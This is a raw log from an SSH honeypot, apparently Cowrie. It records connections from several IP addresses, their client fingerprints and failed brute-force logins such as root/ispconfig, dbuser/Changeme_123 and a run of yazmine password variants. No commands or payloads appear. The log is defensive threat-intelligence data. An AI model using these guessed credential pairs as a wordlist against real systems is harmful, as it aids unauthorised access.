{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:58:20.479445Z","src_ip":"209.99.184.143","session":"587cb60fa4f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.31.151","src_port":50768,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8d44a7b5fa8","protocol":"ssh","message":"New connection: 43.130.31.151:50768 (159.203.135.109:22) [session: f8d44a7b5fa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:58:24.729345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:58:24.734523Z","src_ip":"43.130.31.151","session":"f8d44a7b5fa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:58:24.803853Z","src_ip":"43.130.31.151","session":"f8d44a7b5fa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ggwooollqwe123","message":"login attempt [root/ggwooollqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:58:25.110562Z","src_ip":"43.130.31.151","session":"f8d44a7b5fa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:58:26.190311Z","src_ip":"43.130.31.151","session":"f8d44a7b5fa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":45376,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8d131f31a05","protocol":"ssh","message":"New connection: 43.135.182.46:45376 (159.203.135.109:22) [session: d8d131f31a05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:58:26.973172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:58:26.977370Z","src_ip":"43.135.182.46","session":"d8d131f31a05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:58:27.045313Z","src_ip":"43.135.182.46","session":"d8d131f31a05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ispconfig","message":"login attempt [root/ispconfig] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:58:27.351960Z","src_ip":"43.135.182.46","session":"d8d131f31a05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:58:28.424009Z","src_ip":"43.135.182.46","session":"d8d131f31a05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":54488,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad6bca98c771","protocol":"ssh","message":"New connection: 72.17.34.38:54488 (159.203.135.109:22) [session: ad6bca98c771]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:58:55.116705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:58:55.121441Z","src_ip":"72.17.34.38","session":"ad6bca98c771","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:58:55.156806Z","src_ip":"72.17.34.38","session":"ad6bca98c771","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1960","message":"login attempt [root/1960] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:58:55.331074Z","src_ip":"72.17.34.38","session":"ad6bca98c771","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:58:56.373545Z","src_ip":"72.17.34.38","session":"ad6bca98c771","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.79.29.108","src_port":41790,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6661bd881da","protocol":"ssh","message":"New connection: 202.79.29.108:41790 (159.203.135.109:22) [session: a6661bd881da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:59:01.964555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:59:01.971580Z","src_ip":"202.79.29.108","session":"a6661bd881da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:59:02.233473Z","src_ip":"202.79.29.108","session":"a6661bd881da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"P@$$word","message":"login attempt [user/P@$$word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:59:03.316889Z","src_ip":"202.79.29.108","session":"a6661bd881da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:59:04.581189Z","src_ip":"202.79.29.108","session":"a6661bd881da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":64406,"dst_ip":"10.17.0.5","dst_port":22,"session":"363de2fd50da","protocol":"ssh","message":"New connection: 213.209.159.56:64406 (10.17.0.5:22) [session: 363de2fd50da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:59:15.961082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:59:15.966254Z","src_ip":"213.209.159.56","session":"363de2fd50da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:59:16.049109Z","src_ip":"213.209.159.56","session":"363de2fd50da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yazmine","password":"yazmine","message":"login attempt [yazmine/yazmine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:59:16.451873Z","src_ip":"213.209.159.56","session":"363de2fd50da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yazmine","password":"yazmine1","message":"login attempt [yazmine/yazmine1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:59:17.537298Z","src_ip":"213.209.159.56","session":"363de2fd50da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yazmine","password":"yazmine123","message":"login attempt [yazmine/yazmine123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:59:18.622928Z","src_ip":"213.209.159.56","session":"363de2fd50da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":48084,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5dbfb8aee6c","protocol":"ssh","message":"New connection: 209.99.184.143:48084 (159.203.135.109:22) [session: c5dbfb8aee6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:59:18.929353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:59:18.934737Z","src_ip":"209.99.184.143","session":"c5dbfb8aee6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:59:19.031265Z","src_ip":"209.99.184.143","session":"c5dbfb8aee6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbuser","password":"Changeme_123","message":"login attempt [dbuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:59:19.446815Z","src_ip":"209.99.184.143","session":"c5dbfb8aee6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yazmine","password":"yazmine1234","message":"login attempt [yazmine/yazmine1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:59:19.708370Z","src_ip":"213.209.159.56","session":"363de2fd50da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:59:20.546015Z","src_ip":"209.99.184.143","session":"c5dbfb8aee6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yazmine","password":"yazmine12345","message":"login attempt [yazmine/yazmine12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:59:20.794019Z","src_ip":"213.209.159.56","session":"363de2fd50da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:59:21.879390Z","src_ip":"213.209.159.56","session":"363de2fd50da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.31.151","src_port":41038,"dst_ip":"159.203.135.109","dst_port":22,"session":"a01e37768660","protocol":"ssh","message":"New connection: 43.130.31.151:41038 (159.203.135.109:22) [session: a01e37768660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:59:50.460107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:59:50.465416Z","src_ip":"43.130.31.151","session":"a01e37768660","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:59:50.534333Z","src_ip":"43.130.31.151","session":"a01e37768660","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wilfried","message":"login attempt [root/wilfried] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:59:50.840684Z","src_ip":"43.130.31.151","session":"a01e37768660","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:59:51.913304Z","src_ip":"43.130.31.151","session":"a01e37768660","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":48760,"dst_ip":"10.17.0.5","dst_port":22,"session":"0cb92cba3bc8","protocol":"ssh","message":"New connection: 87.251.79.125:48760 (10.17.0.5:22) [session: 0cb92cba3bc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:59:52.298626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:59:52.302297Z","src_ip":"87.251.79.125","session":"0cb92cba3bc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:59:52.373993Z","src_ip":"87.251.79.125","session":"0cb92cba3bc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"michelle","message":"login attempt [root/michelle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:59:52.592927Z","src_ip":"87.251.79.125","session":"0cb92cba3bc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:59:53.668354Z","src_ip":"87.251.79.125","session":"0cb92cba3bc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":56254,"dst_ip":"159.203.135.109","dst_port":22,"session":"da76d8ea26a0","protocol":"ssh","message":"New connection: 43.135.182.46:56254 (159.203.135.109:22) [session: da76d8ea26a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:59:57.448666Z"}
